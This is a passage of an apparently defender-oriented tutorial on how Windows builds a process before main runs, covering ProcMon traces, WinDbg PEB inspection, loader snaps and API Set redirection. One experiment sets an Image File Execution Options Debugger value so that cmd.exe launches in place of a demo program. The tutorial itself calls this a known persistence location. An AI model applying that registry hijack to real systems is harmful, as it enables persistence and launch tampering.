&lt;p&gt;Not every Windows build will show exactly the same rows. That is fine. What matters is that the trace disproves the toy model. The process creation path is not just “map EXE, jump to entry point.” You will see registry policy/debugger checks, executable file access, image mapping, and then loader-driven resource and dependency work before the application is meaningfully running.&lt;/p&gt;

&lt;p&gt;The IFEO lookup is especially worth noticing. You do not have to configure IFEO for Windows to check whether it applies.&lt;/p&gt;

&lt;h1 id=&quot;experiment-2-ifeo-proves-createprocess-is-policy-aware&quot;&gt;Experiment 2: IFEO proves CreateProcess is policy-aware&lt;/h1&gt;

&lt;p&gt;Image File Execution Options are a Windows mechanism commonly used for per-image debugging and diagnostics. Microsoft documents the IFEO &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Debugger&lt;/code&gt; setting as a way to configure a program so that it always runs in a debugger with specified options, and defenders also know that same &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Debugger&lt;/code&gt; value as a persistence and tampering location. See &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/running-a-program-in-a-debugger&quot;&gt;Running a Program in a Debugger&lt;/a&gt; and &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/gflags-details&quot;&gt;GFlags Details&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;We can prove that process creation checks IFEO before normal execution.&lt;/p&gt;

&lt;p&gt;Do not use Notepad for this test on current Windows. Packaged Notepad can have filtered IFEO entries such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UseFilter&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FilterFullPath&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AppExecutionAliasRedirect&lt;/code&gt;, which can make the simple &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Debugger&lt;/code&gt; demonstration confusing. Use the demo executable instead, because it has a unique image name and no built-in App Execution Alias behaviour.&lt;/p&gt;

&lt;p&gt;Open an elevated PowerShell from the folder containing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BeforeMainLauncher.exe&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;reg&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BeforeMainLauncher.exe&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;/v&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Debugger&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;/t&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;REG_SZ&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;/d&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;C:\Windows\System32\cmd.exe /k echo IFEO caught BeforeMainLauncher.exe:&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;/f&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now run:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;\BeforeMainLauncher.exe&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\Windows\System32\notepad.exe&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You should get &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd.exe&lt;/code&gt;, not the launcher. That proves the process creation path consulted IFEO before the target image ran.&lt;/p&gt;

&lt;p&gt;Clean it up immediately:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;reg&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;delete&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BeforeMainLauncher.exe&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;/v&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Debugger&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;/f&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now run the launcher again and it should behave normally.&lt;/p&gt;

&lt;p&gt;ProcMon will also make this visible. Filter on:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Path contains Image File Execution Options Include
Process Name is BeforeMainLauncher.exe Include
Process Name is cmd.exe Include
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This is a useful blue team reminder. If a process launch turns into something surprising, do not start your investigation at the child entry point. Start with the execution environment that was constructed for it.&lt;/p&gt;

&lt;h1 id=&quot;experiment-3-catch-the-process-before-the-loader-finishes&quot;&gt;Experiment 3: catch the process before the loader finishes&lt;/h1&gt;

&lt;p&gt;Run the launcher again:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;\BeforeMainLauncher.exe&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\Windows\System32\notepad.exe&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Leave it paused.&lt;/p&gt;

&lt;p&gt;Attach WinDbg to the suspended Notepad process:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;File -&amp;gt; Attach to a Process -&amp;gt; notepad.exe
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Because this experiment attaches to an already-created suspended process, do not expect the same startup experience you get when WinDbg launches the target itself. In particular, Microsoft documents the debugger’s &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/initial-breakpoint&quot;&gt;initial breakpoint&lt;/a&gt; for newly started targets, but attaching to an existing process is a different path.&lt;/p&gt;

&lt;p&gt;Useful commands:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;|
~
!peb
dt ntdll!_PEB @$peb
dt ntdll!_PEB @$peb Ldr
lm
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To keep this section concrete without dumping pages of debugger output, it helps to focus on a few commands and a few lines from each.&lt;/p&gt;

&lt;p&gt;Run:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;!peb
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Example output:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:000&amp;gt; !peb
PEB at 000000bb`5f3a7000
    ImageBaseAddress: 00007ff7`6c1d0000
    ProcessParameters: 000000bb`5f3a8010
    Ldr: 00007ff8`c68f4520
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;What to notice: the process already has a PEB, process parameters, and a loader data structure before the program reaches its own interesting code.&lt;/p&gt;

&lt;p&gt;Run:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;dt ntdll!_PEB @$peb
dt ntdll!_PEB @$peb Ldr
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Example output:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:000&amp;gt; dt ntdll!_PEB @$peb
   +0x010 ImageBaseAddress : 0x00007ff7`6c1d0000 Void
   +0x020 ProcessParameters : 0x000000bb`5f3a8010 _RTL_USER_PROCESS_PARAMETERS
   +0x018 Ldr              : 0x00007ff8`c68f4520 _PEB_LDR_DATA
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;What to notice: symbols turn the PEB from a magic pointer into concrete process state you can reason about.&lt;/p&gt;

&lt;p&gt;On current Windows, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@$peb&lt;/code&gt; points at the Process Environment Block for the debuggee. The PEB contains process-wide user-mode state used by the loader and other runtime components. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Ldr&lt;/code&gt; member points at loader-maintained module lists. The exact structure offsets can move between architectures and builds, so prefer symbols and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dt&lt;/code&gt; over memorised offsets where possible. If you want to keep digging, take the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Ldr&lt;/code&gt; pointer printed by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dt&lt;/code&gt; and pass it to:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;dt ntdll!_PEB_LDR_DATA &amp;lt;Ldr address&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Run:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;lm
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;What to notice: the exact module list at this point is build- and timing-dependent, so the point is not to memorize a specific set of DLLs. The useful observation is simpler: the process already exists as a real debug target with a PEB and some initial loader-visible state even though the primary thread has not yet been resumed.&lt;/p&gt;

&lt;p&gt;Now type:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;g
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then break in again and look at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lm&lt;/code&gt; a second time.&lt;/p&gt;

&lt;p&gt;What to notice: after the thread runs, the module set usually becomes richer. This is where user-mode loader activity becomes more obvious. Depending on the target and the Windows build, you may now see additional UI, COM, text input, or side-by-side related modules. If you want to watch that startup chatter from the beginning, launch the target under WinDbg instead of attaching after creation; that is the point of the next experiment.&lt;/p&gt;

&lt;p&gt;Now press Enter in the launcher so it calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ResumeThread&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;In WinDbg, break again and compare:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;!peb
lm
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The loaded module list will be more interesting after the loader has run. You should see core DLLs such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ntdll&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kernel32&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;KernelBase&lt;/code&gt;, user interface libraries, and the Notepad image itself. The exact list depends on your Windows version and Notepad implementation.&lt;/p&gt;

&lt;p&gt;The important point: there is a period where the process object exists and the primary thread exists, but user-mode loader initialization has not completed.&lt;/p&gt;

&lt;h1 id=&quot;experiment-4-loader-snaps-show-the-noisy-truth&quot;&gt;Experiment 4: loader snaps show the noisy truth&lt;/h1&gt;

&lt;p&gt;Loader snaps are loud, ugly, and extremely useful.&lt;/p&gt;

&lt;p&gt;If &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gflags.exe&lt;/code&gt; is not on your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PATH&lt;/code&gt;, install the &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-hardware/drivers/download-the-wdk&quot;&gt;Windows Driver Kit (WDK)&lt;/a&gt; and then run it from:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\gflags.exe
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For this experiment, use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;charmap.exe&lt;/code&gt; instead of Notepad. On current Windows installs, Notepad is often the packaged Store version, which makes the launch path less clean for this specific loader-snaps demonstration.&lt;/p&gt;

&lt;p&gt;Enable them for Character Map:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;s2&quot;&gt;&quot;C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\gflags.exe&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;/i&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;charmap.exe&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;sls&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Confirm the setting:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;s2&quot;&gt;&quot;C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\gflags.exe&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;/i&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;charmap.exe&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Start Character Map under WinDbg:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;windbg&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\Windows\System32\charmap.exe&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then run:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;g
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This is where the useful output starts. A &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;charmap.exe&lt;/code&gt; run can look like this:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;4af0:46ec - LdrpInitializeProcess - INFO: Beginning execution of charmap.exe (C:\WINDOWS\System32\charmap.exe)
4af0:46ec - LdrLoadDll - ENTER: DLL name: KERNEL32.DLL
4af0:46ec - LdrpFindKnownDll - ENTER: DLL name: KERNEL32.DLL
4af0:46ec - LdrpMinimalMapModule - ENTER: DLL name: C:\WINDOWS\System32\KERNEL32.DLL
ModLoad: 00007ff8`c5260000 00007ff8`c5329000   C:\WINDOWS\System32\KERNEL32.DLL
4af0:46ec - LdrpPreprocessDllName - INFO: DLL api-ms-win-core-processthreads-l1-1-0.dll was redirected to C:\WINDOWS\SYSTEM32\kernelbase.dll by API set
4af0:46ec - LdrpGetProcedureAddress - INFO: Locating procedure &quot;BaseThreadInitThunk&quot; by name
4af0:46ec - LdrpFindDllActivationContext - INFO: Probing for the manifest of DLL &quot;C:\WINDOWS\SYSTEM32\apphelp.dll&quot; failed with status 0xc000008a
4af0:3944 - LdrpComputeLazyDllPath - INFO: DLL search path computed: C:\Windows\System32;...
4af0:46ec - LdrpPreprocessDllName - INFO: DLL COMCTL32.dll was redirected to C:\WINDOWS\WinSxS\...\COMCTL32.dll by SxS
4af0:46ec - LdrpMergeNodes - INFO: Merging a cycle rooted at GDI32.dll.
4af0:46ec - LdrpMergeNodes - INFO: Adding cyclic module gdi32full.dll.
4af0:46ec - LdrpMergeNodes - INFO: Adding cyclic module USER32.dll.
(4af0.46ec): Break instruction exception - code 80000003 (first chance)
ntdll!LdrpDoDebuggerBreak+0x35:
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;That is real loader-snaps output. It is much more than a plain module list.&lt;/p&gt;

&lt;p&gt;What to notice:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LdrpInitializeProcess&lt;/code&gt; is the loader announcing that process initialization is underway.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LdrpFindKnownDll&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LdrpMinimalMapModule&lt;/code&gt; show the loader deciding where a DLL should come from and then mapping it.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LdrpPreprocessDllName ... by API set&lt;/code&gt; is the clean proof that API Set contract names are being resolved to host DLLs during startup.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LdrpGetProcedureAddress&lt;/code&gt; shows import and export resolution work happening before the application is interesting.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LdrpFindDllActivationContext&lt;/code&gt; and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;COMCTL32.dll ... by SxS&lt;/code&gt; line show manifest and side-by-side assembly handling in the middle of startup.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LdrpComputeLazyDllPath&lt;/code&gt; is the loader computing a DLL search path, which is useful when a startup problem turns out to be a search-order problem.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LdrpMergeNodes&lt;/code&gt; is the loader building and reconciling the dependency graph, including cycles.&lt;/li&gt;
  &lt;li&gt;That break in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ntdll!LdrpDoDebuggerBreak&lt;/code&gt; matters because it lands in the loader path, not in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;charmap.exe&lt;/code&gt;’s own code.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is what makes loader snaps useful. They do not just show that DLLs loaded. They show why they loaded, where they came from, how names were rewritten, and which loader subsystems were involved.&lt;/p&gt;

&lt;p&gt;Turn loader snaps off when you are done:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;s2&quot;&gt;&quot;C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\gflags.exe&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;/i&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;charmap.exe&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-sls&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can also inspect the flag from inside WinDbg:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;!gflag
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Microsoft documents the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sls&lt;/code&gt; global flag abbreviation as &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-hardware/drivers/debuggercmds/-gflag&quot;&gt;“Show loader snaps”&lt;/a&gt;. Use it surgically and clean up after yourself.&lt;/p&gt;

&lt;h1 id=&quot;experiment-5-prove-api-set-redirection&quot;&gt;Experiment 5: prove API Set redirection&lt;/h1&gt;

&lt;p&gt;Modern Windows binaries often import API Set contract DLL names such as:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;api-ms-win-core-processthreads-l1-1-0.dll
api-ms-win-core-file-l1-1-0.dll
api-ms-win-core-libraryloader-l1-2-0.dll
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Those names are API set contract names, not ordinary module names. Microsoft documents API sets as a virtual alias for a physical DLL file: they look like DLL names in imports and loader operations, but they do not directly refer to a file on disk. The loader resolves them to host DLLs such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;KernelBase.dll&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kernel32.dll&lt;/code&gt;, or other implementation DLLs depending on the API set mapping on that Windows build.&lt;/p&gt;

&lt;p&gt;If you have Visual Studio tools installed, inspect imports:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;dumpbin&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;/imports&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;\BeforeMainLauncher.exe&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;findstr&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;/i&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;api-ms ext-ms kernel&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dumpbin&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;/imports&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\Windows\System32\charmap.exe&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;findstr&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;/i&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;api-ms ext-ms kernel&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then compare with what is actually loaded:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;lm m kernelbase
lm m kernel32
lm m ntdll
lm m api*
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On many systems, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lm m api*&lt;/code&gt; will show nothing even though the import table contains &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;api-ms-...&lt;/code&gt; names. That is the point. The lesson is not that every process will show the same contract names. The lesson is that an import name is not always the file that gets mapped. The Windows loader participates in name resolution, and API Sets are one of the ways it keeps user-mode binaries stable while implementation details move around.&lt;/p&gt;

&lt;p&gt;This matters when reading ProcMon traces. If you are hunting for “who loaded api-ms-win-core-whatever.dll”, you may be chasing the contract name instead of the host module that actually landed in memory.&lt;/p&gt;

&lt;h1 id=&quot;what-createprocess-is-really-doing&quot;&gt;What CreateProcess is really doing&lt;/h1&gt;

&lt;p&gt;Here is the mental model I use now:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Caller
  |
  | CreateProcessW
  v
KernelBase / process creation user-mode path
  |
  | parse command line, validate flags, prepare attributes, consult policy/debugger/appcompat state
  v
NT system service boundary
  |
  | open executable image, create image section, create process object, create initial thread
  v
Windows subsystem setup
  |
  | process parameters, handles, console/window station/desktop-ish state, PEB-visible user-mode state
  v
Initial thread starts or remains suspended
  |
  | ntdll loader initialization, activation context, imports, API Set resolution, TLS callbacks
  v
Program entry point
  |
  | C/C++ runtime
  v
main / WinMain
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;That diagram is intentionally not a function-by-function reverse engineering map. Windows changes. Internal routines move. Builds differ. The durable lesson is the sequence of responsibilities.&lt;/p&gt;

&lt;p&gt;The caller asks Windows to create a process. Windows has to create a credible universe for that process before the program gets control.&lt;/p&gt;

&lt;h1 id=&quot;why-defenders-should-care&quot;&gt;Why defenders should care&lt;/h1&gt;

&lt;p&gt;There are several practical detection lessons here.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;First: process creation telemetry is a starting point, not a full explanation.&lt;/strong&gt;&lt;/p&gt;

